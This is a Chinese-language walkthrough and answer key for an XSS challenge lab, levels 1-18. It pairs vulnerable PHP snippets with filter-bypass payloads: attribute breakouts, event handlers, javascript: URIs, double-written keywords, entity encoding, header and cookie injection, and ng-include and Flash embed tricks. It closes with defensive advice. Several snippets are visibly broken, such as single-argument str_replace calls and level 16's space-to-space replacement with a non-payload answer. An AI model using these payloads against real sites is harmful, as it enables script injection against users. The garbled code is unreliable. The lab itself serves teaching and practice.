XSS挑战小游戏答案与解析(Level 1-18)教学文档
1. 基础概念
XSS(跨站脚本攻击)是一种通过在网页中注入恶意脚本代码的攻击方式。本教学文档将详细解析XSS挑战小游戏1-18关的解题思路和技巧。
2. 各关卡详细解析
Level 1:基础注入
源码分析:
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
漏洞点:直接输出用户输入,无任何过滤
Payload:
<script>alert(1)</script>
技巧:最简单的XSS注入,无需任何编码或绕过
Level 2:HTML实体编码绕过
源码分析:
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"
.'<center><form action=level2.php method=GET>
<input name=keyword value="'.$str.'"> // 这里没有实体化
<input type=submit name=submit value="搜索"/>
</form>
漏洞点:表单输入值未进行HTML实体编码
Payload:
"><script>alert(1)</script>//
或
"onclick="window.alert()
技巧:闭合前一个属性,注入新的事件处理程序
Level 3:单引号绕过
源码分析:
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"
."<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
漏洞点:使用单引号包裹属性值,htmlspecialchars默认不转义单引号
Payload:
'onclick='window.alert()
技巧:利用单引号未被转义的特点进行注入
Level 4:字符串替换绕过
源码分析:
$str = $_GET["keyword"];
$str2=str_replace($str);
$str3=str_replace($str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"
.'<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
Payload:
"onclick="window.alert()
技巧:虽然进行了字符串替换,但未过滤关键事件处理程序
Level 5:关键词替换与大小写转换
源码分析:
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"
.'<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
Payload:
"><a href="javascript:alert('a')">1</a>//
技巧:使用href属性代替on事件,注意闭合前标签
Level 6:多关键词替换
源码分析:
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
Payload:
"><a HREF="javascript:alert('a')">1</a>//
技巧:利用大小写绕过替换(无strtolower函数)
Level 7:关键词删除
源码分析:
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
Payload:
"><scrscriptipt>alert(1)</scrscriptipt>//
技巧:双写绕过关键词删除
Level 8:多维度过滤
源码分析:
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
Payload:
javascript:alert()
或Unicode编码:
java'&'#'115;cript:alert()
技巧:使用编码绕过关键词检测
Level 9:URL协议验证
源码分析:
if(false===strpos($str7,'http://')){
echo '<BR><a href="您的链接不合法?有没有!">友情链接</a>';
}else{
echo '<BR><a href="'.$str7.'">友情链接</a>';
}
Payload:
javascri'&'#'x0070;t:alert(1)/*http://www.baidu.com*/
技巧:包含http://注释绕过验证
Level 10:隐藏表单注入
源码分析:
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace($str11);
$str33=str_replace($str22);
echo "<h2>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"
.'<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
Payload:
&t_sort="onclick="alert()"type="text"
技巧:通过参数注入改变input类型
Level 11:HTTP Referer注入
源码分析:
$str11=$_SERVER['HTTP_REFERER'];
Payload:
Referer: t_sort="type="text" onclick="alert(1)
技巧:修改HTTP头中的Referer字段
Level 12:User-Agent注入
源码分析:
$str11=$_SERVER['HTTP_USER_AGENT'];
Payload:
User-Agent: t_sort="type="text" onclick="alert(1)
技巧:修改HTTP头中的User-Agent字段
Level 13:Cookie注入
源码分析:
$str11=$_COOKIE["user"];
Payload:
Cookie: user=t_sort="type="text" onclick="alert(1);
技巧:修改Cookie值进行注入
Level 14:图片EXIF信息注入
技巧:使用exiftool修改图片的EXIF信息包含XSS代码
Level 15:AngularJS ng-include指令
源码分析:
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span>
Payload:
/level15.php?src='level1.php?name=test'
技巧:利用ng-include包含外部HTML文件
Level 16:空格和斜杠过滤
源码分析:
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
Payload:
?keyword=test
技巧:使用%0d或%0a代替空格
Level 17:Flash嵌入注入
源码分析:
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
Payload:
?arg01=a&arg02= onmouseover=alert(1)
技巧:在Flash嵌入参数中注入事件处理程序
Level 18:同Level 17
Payload:
?arg01=a&arg02=b%20onmouseout=alert(1)
技巧:与Level 17类似,使用不同事件
3. 总结与防御建议
常见XSS绕过技巧:
- HTML实体编码绕过
- 大小写混淆
- 双写关键词
- 使用编码(Unicode、HTML实体等)
- 利用JavaScript伪协议
- 修改HTTP头信息
- 使用非空格分隔符(%0d、%0a等)
- 利用框架特性(如AngularJS)
防御建议:
- 对所有用户输入进行适当的过滤和转义
- 使用Content Security Policy (CSP)
- 设置HttpOnly标志的Cookie
- 对输出内容进行编码
- 使用白名单验证输入
- 避免直接使用用户输入构建DOM
通过这18个关卡的练习,可以全面了解XSS攻击的各种技巧和防御方法。